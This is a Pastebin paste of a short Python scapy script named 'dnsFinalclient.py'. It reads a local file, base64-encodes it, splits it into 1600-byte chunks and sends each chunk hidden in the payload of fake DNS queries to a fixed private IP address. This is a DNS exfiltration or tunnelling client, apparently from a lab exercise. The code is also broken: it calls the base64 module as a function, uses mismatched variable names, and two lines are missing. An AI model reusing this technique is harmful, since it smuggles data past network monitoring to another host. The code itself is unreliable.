Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- GNU nano 3.2 dnsFinalclient.py
- 1 from scapy.all import *
- 2 import random
- 3 import base64
- 4
- 5 num = 0
- 6 Ipers = IP(ttl = 255, src = "192.168.252.246", dst = "192.168.252.179")
- 7 Ports = UDP(sport = random.randint(6000,8999), dport = 53)
- 8 chunks = []
- 9 with open('text_to_dns.txt', "br") as f:
- 10 read_file = base64(f.read())
- 11 while len(read_file)>1600:
- 12 chunk_load = read_file[:1600]
- 13 chunks.append(chunk_load)
- 16 Dnser = DNS(rd = 1, qd = DNSQR(qname = "google.com", qtype = "A"),id = num)
- 17 chunk_load = Raw(load = chunk_load)
- 18 x = sr1(Ipers/Ports/Dnser/chunk_load)
- 19 num += 1
- 20 read_file = read_file[1600:]
- 21 if len(file_read)<1600:
- 22 chunk = file_read
- 23 Dnser = DNS(rd = 1, qd = DNSQR(qname = "google.com", qtype = "A"),id = num)
- 24 chunk_load = Raw(load = chunk_load)
- 25 x = sr1(Ipers/Ports/Dnser/chunk_load)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement